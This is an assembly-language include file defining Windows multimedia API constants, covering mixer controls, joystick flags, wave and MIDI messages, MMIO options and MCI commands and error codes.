MIXERLINE_COMPONENTTYPE_SRC_LINE equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+2
MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+3
MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+4
MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+5
MIXERLINE_COMPONENTTYPE_SRC_TELEPHONE equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+6
MIXERLINE_COMPONENTTYPE_SRC_PCSPEAKER equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+7
MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+8
MIXERLINE_COMPONENTTYPE_SRC_AUXILIARY equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+9
MIXERLINE_COMPONENTTYPE_SRC_ANALOG equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+10
MIXERLINE_COMPONENTTYPE_SRC_LAST equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+10
MIXERLINE_TARGETTYPE_UNDEFINED equ 0
MIXERLINE_TARGETTYPE_WAVEOUT equ 1
MIXERLINE_TARGETTYPE_WAVEIN equ 2
MIXERLINE_TARGETTYPE_MIDIOUT equ 3
MIXERLINE_TARGETTYPE_MIDIIN equ 4
MIXERLINE_TARGETTYPE_AUX equ 5
MIXER_GETLINEINFOF_DESTINATION equ 0h
MIXER_GETLINEINFOF_SOURCE equ 1h
MIXER_GETLINEINFOF_LINEID equ 2h
MIXER_GETLINEINFOF_COMPONENTTYPE equ 3h
MIXER_GETLINEINFOF_TARGETTYPE equ 4h
MIXER_GETLINEINFOF_QUERYMASK equ 0Fh
MIXERCONTROL_CONTROLF_UNIFORM equ 1h
MIXERCONTROL_CONTROLF_MULTIPLE equ 2h
MIXERCONTROL_CONTROLF_DISABLED equ 80000000h
MIXERCONTROL_CT_CLASS_MASK equ 0F0000000h
MIXERCONTROL_CT_CLASS_CUSTOM equ 0h
MIXERCONTROL_CT_CLASS_METER equ 10000000h
MIXERCONTROL_CT_CLASS_SWITCH equ 20000000h
MIXERCONTROL_CT_CLASS_NUMBER equ 30000000h
MIXERCONTROL_CT_CLASS_SLIDER equ 40000000h
MIXERCONTROL_CT_CLASS_FADER equ 50000000h
MIXERCONTROL_CT_CLASS_TIME equ 60000000h
MIXERCONTROL_CT_CLASS_LIST equ 70000000h
MIXERCONTROL_CT_SUBCLASS_MASK equ 0F000000h
MIXERCONTROL_CT_SC_SWITCH_BOOLEAN equ 0h
MIXERCONTROL_CT_SC_SWITCH_BUTTON equ 1000000h
MIXERCONTROL_CT_SC_METER_POLLED equ 0h
MIXERCONTROL_CT_SC_TIME_MICROSECS equ 0h
MIXERCONTROL_CT_SC_TIME_MILLISECS equ 1000000h
MIXERCONTROL_CT_SC_LIST_SINGLE equ 0h
MIXERCONTROL_CT_SC_LIST_MULTIPLE equ 1000000h
MIXERCONTROL_CT_UNITS_MASK equ 0FF0000h
MIXERCONTROL_CT_UNITS_CUSTOM equ 0h
MIXERCONTROL_CT_UNITS_BOOLEAN equ 10000h
MIXERCONTROL_CT_UNITS_SIGNED equ 20000h
MIXERCONTROL_CT_UNITS_UNSIGNED equ 30000h
MIXERCONTROL_CT_UNITS_DECIBELS equ 40000h
MIXERCONTROL_CT_UNITS_PERCENT equ 50000h
MIXERCONTROL_CONTROLTYPE_CUSTOM equ MIXERCONTROL_CT_CLASS_CUSTOM|MIXERCONTROL_CT_UNITS_CUSTOM
MIXERCONTROL_CONTROLTYPE_BOOLEANMETER equ MIXERCONTROL_CT_CLASS_METER|
MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_BOOLEAN
MIXERCONTROL_CONTROLTYPE_SIGNEDMETER equ MIXERCONTROL_CT_CLASS_METER|
MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_SIGNED
MIXERCONTROL_CONTROLTYPE_PEAKMETER equ MIXERCONTROL_CONTROLTYPE_SIGNEDMETER+1
MIXERCONTROL_CONTROLTYPE_UNSIGNEDMETER equ MIXERCONTROL_CT_CLASS_METER|
MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_UNSIGNED
MIXERCONTROL_CONTROLTYPE_BOOLEAN equ MIXERCONTROL_CT_CLASS_SWITCH|
MIXERCONTROL_CT_SC_SWITCH_BOOLEAN|MIXERCONTROL_CT_UNITS_BOOLEAN
MIXERCONTROL_CONTROLTYPE_ONOFF equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+1
MIXERCONTROL_CONTROLTYPE_MUTE equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+2
MIXERCONTROL_CONTROLTYPE_MONO equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+3
MIXERCONTROL_CONTROLTYPE_LOUDNESS equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+4
MIXERCONTROL_CONTROLTYPE_STEREOENH equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+5
MIXERCONTROL_CONTROLTYPE_BUTTON equ MIXERCONTROL_CT_CLASS_SWITCH|
MIXERCONTROL_CT_SC_SWITCH_BUTTON|MIXERCONTROL_CT_UNITS_BOOLEAN
MIXERCONTROL_CONTROLTYPE_DECIBELS equ MIXERCONTROL_CT_CLASS_NUMBER|
MIXERCONTROL_CT_UNITS_DECIBELS
MIXERCONTROL_CONTROLTYPE_SIGNED equ MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_SIGNED
MIXERCONTROL_CONTROLTYPE_UNSIGNED equ MIXERCONTROL_CT_CLASS_NUMBER|
MIXERCONTROL_CT_UNITS_UNSIGNED
MIXERCONTROL_CONTROLTYPE_PERCENT equ MIXERCONTROL_CT_CLASS_NUMBER|
MIXERCONTROL_CT_UNITS_PERCENT
MIXERCONTROL_CONTROLTYPE_SLIDER equ MIXERCONTROL_CT_CLASS_SLIDER|MIXERCONTROL_CT_UNITS_SIGNED
MIXERCONTROL_CONTROLTYPE_PAN equ MIXERCONTROL_CONTROLTYPE_SLIDER+1
MIXERCONTROL_CONTROLTYPE_QSOUNDPAN equ MIXERCONTROL_CONTROLTYPE_SLIDER+2
MIXERCONTROL_CONTROLTYPE_FADER equ MIXERCONTROL_CT_CLASS_FADER|MIXERCONTROL_CT_UNITS_UNSIGNED
MIXERCONTROL_CONTROLTYPE_VOLUME equ MIXERCONTROL_CONTROLTYPE_FADER+1
MIXERCONTROL_CONTROLTYPE_BASS equ MIXERCONTROL_CONTROLTYPE_FADER+2
MIXERCONTROL_CONTROLTYPE_TREBLE equ MIXERCONTROL_CONTROLTYPE_FADER+3
MIXERCONTROL_CONTROLTYPE_EQUALIZER equ MIXERCONTROL_CONTROLTYPE_FADER+4
MIXERCONTROL_CONTROLTYPE_SINGLESELECT equ MIXERCONTROL_CT_CLASS_LIST|
MIXERCONTROL_CT_SC_LIST_SINGLE|MIXERCONTROL_CT_UNITS_BOOLEAN
MIXERCONTROL_CONTROLTYPE_MUX equ MIXERCONTROL_CONTROLTYPE_SINGLESELECT+1
MIXERCONTROL_CONTROLTYPE_MULTIPLESELECT equ MIXERCONTROL_CT_CLASS_LIST|
MIXERCONTROL_CT_SC_LIST_MULTIPLE|MIXERCONTROL_CT_UNITS_BOOLEAN
MIXERCONTROL_CONTROLTYPE_MIXER equ MIXERCONTROL_CONTROLTYPE_MULTIPLESELECT+1
MIXERCONTROL_CONTROLTYPE_MICROTIME equ MIXERCONTROL_CT_CLASS_TIME|
MIXERCONTROL_CT_SC_TIME_MICROSECS|MIXERCONTROL_CT_UNITS_UNSIGNED
MIXERCONTROL_CONTROLTYPE_MILLITIME equ MIXERCONTROL_CT_CLASS_TIME|
MIXERCONTROL_CT_SC_TIME_MILLISECS|MIXERCONTROL_CT_UNITS_UNSIGNED
MIXER_GETLINECONTROLSF_ALL equ 0h
MIXER_GETLINECONTROLSF_ONEBYID equ 1h
MIXER_GETLINECONTROLSF_ONEBYTYPE equ 2h
MIXER_GETLINECONTROLSF_QUERYMASK equ 0Fh
MIXER_GETCONTROLDETAILSF_VALUE equ 0h
MIXER_GETCONTROLDETAILSF_LISTTEXT equ 1h
MIXER_GETCONTROLDETAILSF_QUERYMASK equ 0Fh
MIXER_SETCONTROLDETAILSF_VALUE equ 0h
MIXER_SETCONTROLDETAILSF_CUSTOM equ 1h
MIXER_SETCONTROLDETAILSF_QUERYMASK equ 0Fh
JOY_BUTTON5 equ 10h
JOY_BUTTON6 equ 20h
JOY_BUTTON7 equ 40h
JOY_BUTTON8 equ 80h
JOY_BUTTON9 equ 100h
JOY_BUTTON10 equ 200h
JOY_BUTTON11 equ 400h
JOY_BUTTON12 equ 800h
JOY_BUTTON13 equ 1000h
JOY_BUTTON14 equ 2000h
JOY_BUTTON15 equ 4000h
JOY_BUTTON16 equ 8000h
JOY_BUTTON17 equ 10000h
JOY_BUTTON18 equ 20000h
JOY_BUTTON19 equ 40000h
JOY_BUTTON20 equ 80000h
JOY_BUTTON21 equ 100000h
JOY_BUTTON22 equ 200000h
JOY_BUTTON23 equ 400000h
JOY_BUTTON24 equ 800000h
JOY_BUTTON25 equ 1000000h
JOY_BUTTON26 equ 2000000h
JOY_BUTTON27 equ 4000000h
JOY_BUTTON28 equ 8000000h
JOY_BUTTON29 equ 10000000h
JOY_BUTTON30 equ 20000000h
JOY_BUTTON31 equ 40000000h
JOY_BUTTON32 equ 80000000h
JOY_POVCENTERED equ -1
JOY_POVFORWARD equ 0
JOY_POVRIGHT equ 9000
JOY_POVBACKWARD equ 18000
JOY_POVLEFT equ 27000
JOY_RETURNX equ 1h
JOY_RETURNY equ 2h
JOY_RETURNZ equ 4h
JOY_RETURNR equ 8h
JOY_RETURNU equ 10h
JOY_RETURNV equ 20h
JOY_RETURNPOV equ 40h
JOY_RETURNBUTTONS equ 80h
JOY_RETURNRAWDATA equ 100h
JOY_RETURNPOVCTS equ 200h
JOY_RETURNCENTERED equ 400h
JOY_USEDEADZONE equ 800h
JOY_RETURNALL equ JOY_RETURNX|JOY_RETURNY|JOY_RETURNZ|JOY_RETURNR|JOY_RETURNU|JOY_RETURNV|
JOY_RETURNPOV|JOY_RETURNBUTTONS
JOY_CAL_READALWAYS equ 10000h
JOY_CAL_READXYONLY equ 20000h
JOY_CAL_READ3 equ 40000h
JOY_CAL_READ4 equ 80000h
JOY_CAL_READXONLY equ 100000h
JOY_CAL_READYONLY equ 200000h
JOY_CAL_READ5 equ 400000h
JOY_CAL_READ6 equ 800000h
JOY_CAL_READZONLY equ 1000000h
JOY_CAL_READRONLY equ 2000000h
JOY_CAL_READUONLY equ 4000000h
JOY_CAL_READVONLY equ 8000000h
WAVE_FORMAT_QUERY equ 1h
SND_PURGE equ 40h
SND_APPLICATION equ 80h
WAVE_MAPPED equ 4h
WAVE_FORMAT_DIRECT equ 8h
WAVE_FORMAT_DIRECT_QUERY equ WAVE_FORMAT_QUERY|WAVE_FORMAT_DIRECT
MIM_MOREDATA equ MM_MIM_MOREDATA
MOM_POSITIONCB equ MM_MOM_POSITIONCB
MIDI_IO_STATUS equ 20h
DRV_LOAD equ 1h
DRV_ENABLE equ 2h
DRV_OPEN equ 3h
DRV_CLOSE equ 4h
DRV_DISABLE equ 5h
DRV_FREE equ 6h
DRV_CONFIGURE equ 7h
DRV_QUERYCONFIGURE equ 8h
DRV_INSTALL equ 9h
DRV_REMOVE equ 0Ah
DRV_EXITSESSION equ 0Bh
DRV_POWER equ 0Fh
DRV_RESERVED equ 800h
DRV_USER equ 4000h
DRVCNF_CANCEL equ 0h
DRVCNF_OK equ 1h
DRVCNF_RESTART equ 2h
DRV_CANCEL equ DRVCNF_CANCEL
DRV_OK equ DRVCNF_OK
DRV_RESTART equ DRVCNF_RESTART
DRV_MCI_FIRST equ DRV_RESERVED
DRV_MCI_LAST equ DRV_RESERVED+0FFFh
CALLBACK_TYPEMASK equ 70000h
CALLBACK_NULL equ 0h
CALLBACK_WINDOW equ 10000h
CALLBACK_TASK equ 20000h
CALLBACK_FUNCTION equ 30000h
MM_MICROSOFT equ 1
MM_MIDI_MAPPER equ 1
MM_WAVE_MAPPER equ 2
MM_SNDBLST_MIDIOUT equ 3
MM_SNDBLST_MIDIIN equ 4
MM_SNDBLST_SYNTH equ 5
MM_SNDBLST_WAVEOUT equ 6
MM_SNDBLST_WAVEIN equ 7
MM_ADLIB equ 9
MM_MPU401_MIDIOUT equ 10
MM_MPU401_MIDIIN equ 11
MM_PC_JOYSTICK equ 12
SND_SYNC equ 0h
SND_ASYNC equ 1h
SND_NODEFAULT equ 2h
SND_MEMORY equ 4h
SND_ALIAS equ 10000h
SND_FILENAME equ 20000h
SND_RESOURCE equ 40004h
SND_ALIAS_ID equ 110000h
SND_ALIAS_START equ 0
SND_LOOP equ 8h
SND_NOSTOP equ 10h
SND_VALID equ 1Fh
SND_NOWAIT equ 2000h
SND_VALIDFLAGS equ 17201Fh
SND_RESERVED equ 0FF000000h
SND_TYPE_MASK equ 170007h
WAVERR_BADFORMAT equ WAVERR_BASE+0
WAVERR_STILLPLAYING equ WAVERR_BASE+1
WAVERR_UNPREPARED equ WAVERR_BASE+2
WAVERR_SYNC equ WAVERR_BASE+3
WAVERR_LASTERROR equ WAVERR_BASE+3
WOM_OPEN equ MM_WOM_OPEN
WOM_CLOSE equ MM_WOM_CLOSE
WOM_DONE equ MM_WOM_DONE
WIM_OPEN equ MM_WIM_OPEN
WIM_CLOSE equ MM_WIM_CLOSE
WIM_DATA equ MM_WIM_DATA
WAVE_MAPPER equ -1
WAVE_ALLOWSYNC equ 2h
WAVE_VALID equ 3h
WHDR_DONE equ 1h
WHDR_PREPARED equ 2h
WHDR_BEGINLOOP equ 4h
WHDR_ENDLOOP equ 8h
WHDR_INQUEUE equ 10h
WHDR_VALID equ 1Fh
WAVECAPS_PITCH equ 1h
WAVECAPS_PLAYBACKRATE equ 2h
WAVECAPS_VOLUME equ 4h
WAVECAPS_LRVOLUME equ 8h
WAVECAPS_SYNC equ 10h
WAVE_INVALIDFORMAT equ 0h
WAVE_FORMAT_1M08 equ 1h
WAVE_FORMAT_1S08 equ 2h
WAVE_FORMAT_1M16 equ 4h
WAVE_FORMAT_1S16 equ 8h
WAVE_FORMAT_2M08 equ 10h
WAVE_FORMAT_2S08 equ 20h
WAVE_FORMAT_2M16 equ 40h
WAVE_FORMAT_2S16 equ 80h
WAVE_FORMAT_4M08 equ 100h
WAVE_FORMAT_4S08 equ 200h
WAVE_FORMAT_4M16 equ 400h
WAVE_FORMAT_4S16 equ 800h
WAVE_FORMAT_PCM equ 1
MIDIERR_UNPREPARED equ MIDIERR_BASE+0
MIDIERR_STILLPLAYING equ MIDIERR_BASE+1
MIDIERR_NOMAP equ MIDIERR_BASE+2
MIDIERR_NOTREADY equ MIDIERR_BASE+3
MIDIERR_NODEVICE equ MIDIERR_BASE+4
MIDIERR_INVALIDSETUP equ MIDIERR_BASE+5
MIDIERR_LASTERROR equ MIDIERR_BASE+5
MIM_OPEN equ MM_MIM_OPEN
MIM_CLOSE equ MM_MIM_CLOSE
MIM_DATA equ MM_MIM_DATA
MIM_LONGDATA equ MM_MIM_LONGDATA
MIM_ERROR equ MM_MIM_ERROR
MIM_LONGERROR equ MM_MIM_LONGERROR
MOM_OPEN equ MM_MOM_OPEN
MOM_CLOSE equ MM_MOM_CLOSE
MOM_DONE equ MM_MOM_DONE
MIDIMAPPER equ -1
MIDI_MAPPER equ -1
MIDI_CACHE_ALL equ 1
MIDI_CACHE_BESTFIT equ 2
MIDI_CACHE_QUERY equ 3
MIDI_UNCACHE equ 4
MIDI_CACHE_VALID equ MIDI_CACHE_ALL|MIDI_CACHE_BESTFIT|MIDI_CACHE_QUERY|MIDI_UNCACHE
MOD_MIDIPORT equ 1
MOD_SYNTH equ 2
MOD_SQSYNTH equ 3
MOD_FMSYNTH equ 4
MOD_MAPPER equ 5
MIDICAPS_VOLUME equ 1h
MIDICAPS_LRVOLUME equ 2h
MIDICAPS_CACHE equ 4h
MHDR_DONE equ 1h
MHDR_PREPARED equ 2h
MHDR_INQUEUE equ 4h
MHDR_VALID equ 7h
AUX_MAPPER equ -1
AUXCAPS_CDAUDIO equ 1
AUXCAPS_AUXIN equ 2
AUXCAPS_VOLUME equ 1h
AUXCAPS_LRVOLUME equ 2h
TIMERR_NOERROR equ 0
TIMERR_NOCANDO equ TIMERR_BASE+1
TIMERR_STRUCT equ TIMERR_BASE+33
TIME_ONESHOT equ 0
TIME_PERIODIC equ 1
JOYERR_NOERROR equ 0
JOYERR_PARMS equ JOYERR_BASE+5
JOYERR_NOCANDO equ JOYERR_BASE+6
JOYERR_UNPLUGGED equ JOYERR_BASE+7
JOY_BUTTON1 equ 1h
JOY_BUTTON2 equ 2h
JOY_BUTTON3 equ 4h
JOY_BUTTON4 equ 8h
JOY_BUTTON1CHG equ 100h
JOY_BUTTON2CHG equ 200h
JOY_BUTTON3CHG equ 400h
JOY_BUTTON4CHG equ 800h
JOYSTICKID1 equ 0
JOYSTICKID2 equ 1
MMIOERR_BASE equ 256
MMIOERR_FILENOTFOUND equ MMIOERR_BASE+1
MMIOERR_OUTOFMEMORY equ MMIOERR_BASE+2
MMIOERR_CANNOTOPEN equ MMIOERR_BASE+3
MMIOERR_CANNOTCLOSE equ MMIOERR_BASE+4
MMIOERR_CANNOTREAD equ MMIOERR_BASE+5
MMIOERR_CANNOTWRITE equ MMIOERR_BASE+6
MMIOERR_CANNOTSEEK equ MMIOERR_BASE+7
MMIOERR_CANNOTEXPAND equ MMIOERR_BASE+8
MMIOERR_CHUNKNOTFOUND equ MMIOERR_BASE+9
MMIOERR_UNBUFFERED equ MMIOERR_BASE+10
MMIO_RWMODE equ 3h
MMIO_SHAREMODE equ 70h
MMIO_CREATE equ 1000h
MMIO_PARSE equ 100h
MMIO_DELETE equ 200h
MMIO_EXIST equ 4000h
MMIO_ALLOCBUF equ 10000h
MMIO_GETTEMP equ 20000h
MMIO_DIRTY equ 10000000h
MMIO_OPEN_VALID equ 3FFFFh
MMIO_READ equ 0h
MMIO_WRITE equ 1h
MMIO_READWRITE equ 2h
MMIO_COMPAT equ 0h
MMIO_EXCLUSIVE equ 10h
MMIO_DENYWRITE equ 20h
MMIO_DENYREAD equ 30h
MMIO_DENYNONE equ 40h
MMIO_FHOPEN equ 10h
MMIO_EMPTYBUF equ 10h
MMIO_TOUPPER equ 10h
MMIO_INSTALLPROC equ 10000h
MMIO_PUBLICPROC equ 10000000h
MMIO_UNICODEPROC equ 1000000h
MMIO_REMOVEPROC equ 20000h
MMIO_FINDPROC equ 40000h
MMIO_FINDCHUNK equ 10h
MMIO_FINDRIFF equ 20h
MMIO_FINDLIST equ 40h
MMIO_CREATERIFF equ 20h
MMIO_CREATELIST equ 40h
MMIO_VALIDPROC equ 11070000h
MMIOM_READ equ MMIO_READ
MMIOM_WRITE equ MMIO_WRITE
MMIOM_SEEK equ 2
MMIOM_OPEN equ 3
MMIOM_CLOSE equ 4
MMIOM_WRITEFLUSH equ 5
MMIOM_RENAME equ 6
MMIOM_USER equ 8000h
SEEK_SET equ 0
SEEK_CUR equ 1
SEEK_END equ 2
MMIO_DEFAULTBUFFER equ 8192
MCIERR_INVALID_DEVICE_ID equ MCIERR_BASE+1
MCIERR_UNRECOGNIZED_KEYWORD equ MCIERR_BASE+3
MCIERR_UNRECOGNIZED_COMMAND equ MCIERR_BASE+5
MCIERR_HARDWARE equ MCIERR_BASE+6
MCIERR_INVALID_DEVICE_NAME equ MCIERR_BASE+7
MCIERR_OUT_OF_MEMORY equ MCIERR_BASE+8
MCIERR_DEVICE_OPEN equ MCIERR_BASE+9
MCIERR_CANNOT_LOAD_DRIVER equ MCIERR_BASE+10
MCIERR_MISSING_COMMAND_STRING equ MCIERR_BASE+11
MCIERR_PARAM_OVERFLOW equ MCIERR_BASE+12
MCIERR_MISSING_STRING_ARGUMENT equ MCIERR_BASE+13
MCIERR_BAD_INTEGER equ MCIERR_BASE+14
MCIERR_PARSER_INTERNAL equ MCIERR_BASE+15
MCIERR_DRIVER_INTERNAL equ MCIERR_BASE+16
MCIERR_MISSING_PARAMETER equ MCIERR_BASE+17
MCIERR_UNSUPPORTED_FUNCTION equ MCIERR_BASE+18
MCIERR_FILE_NOT_FOUND equ MCIERR_BASE+19
MCIERR_DEVICE_NOT_READY equ MCIERR_BASE+20
MCIERR_INTERNAL equ MCIERR_BASE+21
MCIERR_DRIVER equ MCIERR_BASE+22
MCIERR_CANNOT_USE_ALL equ MCIERR_BASE+23
MCIERR_MULTIPLE equ MCIERR_BASE+24
MCIERR_EXTENSION_NOT_FOUND equ MCIERR_BASE+25
MCIERR_OUTOFRANGE equ MCIERR_BASE+26
MCIERR_FLAGS_NOT_COMPATIBLE equ MCIERR_BASE+28
MCIERR_FILE_NOT_SAVED equ MCIERR_BASE+30
MCIERR_DEVICE_TYPE_REQUIRED equ MCIERR_BASE+31
MCIERR_DEVICE_LOCKED equ MCIERR_BASE+32
MCIERR_DUPLICATE_ALIAS equ MCIERR_BASE+33
MCIERR_BAD_CONSTANT equ MCIERR_BASE+34
MCIERR_MUST_USE_SHAREABLE equ MCIERR_BASE+35
MCIERR_MISSING_DEVICE_NAME equ MCIERR_BASE+36
MCIERR_BAD_TIME_FORMAT equ MCIERR_BASE+37
MCIERR_NO_CLOSING_QUOTE equ MCIERR_BASE+38
MCIERR_DUPLICATE_FLAGS equ MCIERR_BASE+39
MCIERR_INVALID_FILE equ MCIERR_BASE+40
MCIERR_NULL_PARAMETER_BLOCK equ MCIERR_BASE+41
MCIERR_UNNAMED_RESOURCE equ MCIERR_BASE+42
MCIERR_NEW_REQUIRES_ALIAS equ MCIERR_BASE+43
MCIERR_NOTIFY_ON_AUTO_OPEN equ MCIERR_BASE+44
MCIERR_NO_ELEMENT_ALLOWED equ MCIERR_BASE+45
MCIERR_NONAPPLICABLE_FUNCTION equ MCIERR_BASE+46
MCIERR_ILLEGAL_FOR_AUTO_OPEN equ MCIERR_BASE+47
MCIERR_FILENAME_REQUIRED equ MCIERR_BASE+48
MCIERR_EXTRA_CHARACTERS equ MCIERR_BASE+49
MCIERR_DEVICE_NOT_INSTALLED equ MCIERR_BASE+50
MCIERR_GET_CD equ MCIERR_BASE+51
MCIERR_SET_CD equ MCIERR_BASE+52
MCIERR_SET_DRIVE equ MCIERR_BASE+53
MCIERR_DEVICE_LENGTH equ MCIERR_BASE+54
MCIERR_DEVICE_ORD_LENGTH equ MCIERR_BASE+55
MCIERR_NO_INTEGER equ MCIERR_BASE+56
MCIERR_WAVE_OUTPUTSINUSE equ MCIERR_BASE+64
MCIERR_WAVE_SETOUTPUTINUSE equ MCIERR_BASE+65
MCIERR_WAVE_INPUTSINUSE equ MCIERR_BASE+66
MCIERR_WAVE_SETINPUTINUSE equ MCIERR_BASE+67
MCIERR_WAVE_OUTPUTUNSPECIFIED equ MCIERR_BASE+68
MCIERR_WAVE_INPUTUNSPECIFIED equ MCIERR_BASE+69
MCIERR_WAVE_OUTPUTSUNSUITABLE equ MCIERR_BASE+70
MCIERR_WAVE_SETOUTPUTUNSUITABLE equ MCIERR_BASE+71
MCIERR_WAVE_INPUTSUNSUITABLE equ MCIERR_BASE+72
MCIERR_WAVE_SETINPUTUNSUITABLE equ MCIERR_BASE+73
MCIERR_SEQ_DIV_INCOMPATIBLE equ MCIERR_BASE+80
MCIERR_SEQ_PORT_INUSE equ MCIERR_BASE+81
MCIERR_SEQ_PORT_NONEXISTENT equ MCIERR_BASE+82
MCIERR_SEQ_PORT_MAPNODEVICE equ MCIERR_BASE+83
MCIERR_SEQ_PORT_MISCERROR equ MCIERR_BASE+84
MCIERR_SEQ_TIMER equ MCIERR_BASE+85
MCIERR_SEQ_PORTUNSPECIFIED equ MCIERR_BASE+86
MCIERR_SEQ_NOMIDIPRESENT equ MCIERR_BASE+87
MCIERR_NO_WINDOW equ MCIERR_BASE+90
MCIERR_CREATEWINDOW equ MCIERR_BASE+91
MCIERR_FILE_READ equ MCIERR_BASE+92
MCIERR_FILE_WRITE equ MCIERR_BASE+93
MCIERR_CUSTOM_DRIVER_BASE equ MCIERR_BASE+256
MCI_FIRST equ 800h
MCI_OPEN equ 803h
MCI_CLOSE equ 804h
MCI_ESCAPE equ 805h
MCI_PLAY equ 806h
MCI_SEEK equ 807h
MCI_STOP equ 808h
MCI_PAUSE equ 809h
MCI_INFO equ 80Ah
MCI_GETDEVCAPS equ 80Bh
MCI_SPIN equ 80Ch
MCI_SET equ 80Dh
MCI_STEP equ 80Eh
MCI_RECORD equ 80Fh
MCI_SYSINFO equ 810h
MCI_BREAK equ 811h
MCI_SOUND equ 812h
MCI_SAVE equ 813h
MCI_STATUS equ 814h
MCI_CUE equ 830h
MCI_REALIZE equ 840h
MCI_WINDOW equ 841h
MCI_PUT equ 842h
MCI_WHERE equ 843h
MCI_FREEZE equ 844h
MCI_UNFREEZE equ 845h
MCI_LOAD equ 850h
MCI_CUT equ 851h
MCI_COPY equ 852h
MCI_PASTE equ 853h
MCI_UPDATE equ 854h
MCI_RESUME equ 855h
MCI_DELETE equ 856h
MCI_LAST equ 0FFFh
MCI_USER_MESSAGES equ 400h+MCI_FIRST
MCI_ALL_DEVICE_ID equ -1
MCI_DEVTYPE_VCR equ 513
MCI_DEVTYPE_VIDEODISC equ 514
MCI_DEVTYPE_OVERLAY equ 515
MCI_DEVTYPE_CD_AUDIO equ 516
MCI_DEVTYPE_DAT equ 517
MCI_DEVTYPE_SCANNER equ 518
MCI_DEVTYPE_ANIMATION equ 519
MCI_DEVTYPE_DIGITAL_VIDEO equ 520
MCI_DEVTYPE_OTHER equ 521
MCI_DEVTYPE_WAVEFORM_AUDIO equ 522
MCI_DEVTYPE_SEQUENCER equ 523
MCI_DEVTYPE_FIRST equ MCI_DEVTYPE_VCR
MCI_DEVTYPE_LAST equ MCI_DEVTYPE_SEQUENCER
MCI_DEVTYPE_FIRST_USER equ 1000h
MCI_MODE_NOT_READY equ MCI_STRING_OFFSET+12
MCI_MODE_STOP equ MCI_STRING_OFFSET+13
MCI_MODE_PLAY equ MCI_STRING_OFFSET+14
MCI_MODE_RECORD equ MCI_STRING_OFFSET+15
MCI_MODE_SEEK equ MCI_STRING_OFFSET+16
MCI_MODE_PAUSE equ MCI_STRING_OFFSET+17
MCI_MODE_OPEN equ MCI_STRING_OFFSET+18
MCI_FORMAT_MILLISECONDS equ 0
MCI_FORMAT_HMS equ 1
MCI_FORMAT_MSF equ 2
MCI_FORMAT_FRAMES equ 3
MCI_FORMAT_SMPTE_24 equ 4
MCI_FORMAT_SMPTE_25 equ 5
MCI_FORMAT_SMPTE_30 equ 6
MCI_FORMAT_SMPTE_30DROP equ 7
MCI_FORMAT_BYTES equ 8
MCI_FORMAT_SAMPLES equ 9
MCI_FORMAT_TMSF equ 10
MCI_NOTIFY_SUCCESSFUL equ 1h
MCI_NOTIFY_SUPERSEDED equ 2h
MCI_NOTIFY_ABORTED equ 4h
MCI_NOTIFY_FAILURE equ 8h
MCI_NOTIFY equ 1h
MCI_WAIT equ 2h
MCI_FROM equ 4h
MCI_TO equ 8h
MCI_TRACK equ 10h
MCI_OPEN_SHAREABLE equ 100h
MCI_OPEN_ELEMENT equ 200h
MCI_OPEN_ALIAS equ 400h
MCI_OPEN_ELEMENT_ID equ 800h
MCI_OPEN_TYPE_ID equ 1000h
MCI_OPEN_TYPE equ 2000h
MCI_SEEK_TO_START equ 100h
MCI_SEEK_TO_END equ 200h
MCI_STATUS_ITEM equ 100h
MCI_STATUS_START equ 200h
MCI_STATUS_LENGTH equ 1h
MCI_STATUS_POSITION equ 2h
MCI_STATUS_NUMBER_OF_TRACKS equ 3h
MCI_STATUS_MODE equ 4h
MCI_STATUS_MEDIA_PRESENT equ 5h
MCI_STATUS_TIME_FORMAT equ 6h
MCI_STATUS_READY equ 7h
MCI_STATUS_CURRENT_TRACK equ 8h
MCI_INFO_PRODUCT equ 100h
MCI_INFO_FILE equ 200h
MCI_GETDEVCAPS_ITEM equ 100h
MCI_GETDEVCAPS_CAN_RECORD equ 1h
MCI_GETDEVCAPS_HAS_AUDIO equ 2h
MCI_GETDEVCAPS_HAS_VIDEO equ 3h
MCI_GETDEVCAPS_DEVICE_TYPE equ 4h
MCI_GETDEVCAPS_USES_FILES equ 5h
MCI_GETDEVCAPS_COMPOUND_DEVICE equ 6h
MCI_GETDEVCAPS_CAN_EJECT equ 7h
MCI_GETDEVCAPS_CAN_PLAY equ 8h
MCI_GETDEVCAPS_CAN_SAVE equ 9h
MCI_SYSINFO_QUANTITY equ 100h
MCI_SYSINFO_OPEN equ 200h
MCI_SYSINFO_NAME equ 400h
MCI_SYSINFO_INSTALLNAME equ 800h
MCI_SET_DOOR_OPEN equ 100h
MCI_SET_DOOR_CLOSED equ 200h
MCI_SET_TIME_FORMAT equ 400h
MCI_SET_AUDIO equ 800h
MCI_SET_VIDEO equ 1000h
MCI_SET_ON equ 2000h
MCI_SET_OFF equ 4000h
MCI_SET_AUDIO_ALL equ 4001h
MCI_SET_AUDIO_LEFT equ 4002h
MCI_SET_AUDIO_RIGHT equ 4003h
MCI_BREAK_KEY equ 100h
MCI_BREAK_HWND equ 200h
MCI_BREAK_OFF equ 400h
MCI_RECORD_INSERT equ 100h
MCI_RECORD_OVERWRITE equ 200h
MCI_SOUND_NAME equ 100h
MCI_SAVE_FILE equ 100h
MCI_LOAD_FILE equ 100h
MCI_VD_MODE_PARK equ MCI_VD_OFFSET+1
